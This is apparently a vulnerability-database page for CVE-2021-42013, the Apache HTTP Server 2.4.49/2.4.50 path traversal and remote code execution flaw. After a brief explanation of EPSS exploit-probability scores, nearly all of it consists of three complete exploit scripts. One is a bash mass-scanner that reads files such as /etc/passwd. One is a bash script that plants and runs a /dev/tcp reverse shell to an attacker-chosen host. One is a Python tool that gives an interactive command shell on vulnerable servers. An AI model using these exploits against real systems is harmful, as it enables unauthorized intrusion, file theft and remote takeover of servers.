CVE-2021-42013 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) # Date: 10/05/2021 # Exploit Author: Lucas Souza https://lsass.io # Vendor Homepage: https://apache.org/ # Version: 2.4.50 # Tested on: 2.4.50 # CVE : CVE-2021-42013 # Credits: Ash Daulton and the cPanel Security Team #!/bin/bash if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done # PoC.sh targets.txt /etc/passwd # PoC.sh targets.txt /bin/sh whoami

# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) # Credits: Ash Daulton & cPanel Security Team # Date: 24/07/2021 # Exploit Author: TheLastVvV.com # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.50 with CGI enable # Tested on : Debian 5.10.28 # CVE : CVE-2021-42013 #!/bin/bash echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI' if [ $# -eq 0 ] then echo "try: ./$0 http://ip:port LHOST LPORT" exit 1 fi curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash /tmp/revoshell.sh" #usage chmod -x CVE-2021-42013.sh #./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT

# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) # Date: 11/11/2021 # Exploit Author: Valentin Lobstein # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.49/2.4.50 (CGI enabled) # Tested on: Debian GNU/Linux # CVE : CVE-2021-41773 / CVE-2021-42013 # Credits : Lucas Schnell #!/usr/bin/env python3 #coding: utf-8 import os import re import sys import time import requests from colorama import Fore,Style header = '''\033[1;91m ▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████ ▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀ ▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███ ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄ ▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒ ▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░ ▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ''' + Style.RESET_ALL if len(sys.argv) < 2 : print( 'Use: python3 file.py ip:port ' ) sys.exit() def end(): print("\t\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) def commands(url,command,session): directory = mute_command(url,'pwd') user = mute_command(url,'whoami') hostname = mute_command(url,'hostname') advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)') command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}") command = f"echo; {command};" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text print(output) if 'clear' in command: os.system('/usr/bin/clear') print(header) if 'exit' in command: end() def mute_command(url,command): session = requests.Session() req = requests.Request('POST', url=url, data=f"echo; {command}") prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) return response.text.strip() def exploitRCE(payload): s = requests.Session() try: host = sys.argv[1] if 'http' not in host: url = 'http://'+ host + payload else: url = host + payload session = requests.Session() command = "echo; id" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text if "uid" in output: choice = "Y" print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host) print("[!] Sortie:\n\n" + Fore.YELLOW + output ) choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ") if choice.lower() in ['','y','yes']: while True: commands(url,command,session) else: end() else : print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host) except KeyboardInterrupt: end() def main(): try: apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' payloads = [apache2449_payload,apache2450_payload] choice = len(payloads) + 1 print(header) print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE") while choice >= len(payloads) and choice >= 0: choice = int(input('[~] Choice : ')) if choice < len(payloads): exploitRCE(payloads[choice]) except KeyboardInterrupt: print("\n\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) if __name__ == '__main__': main()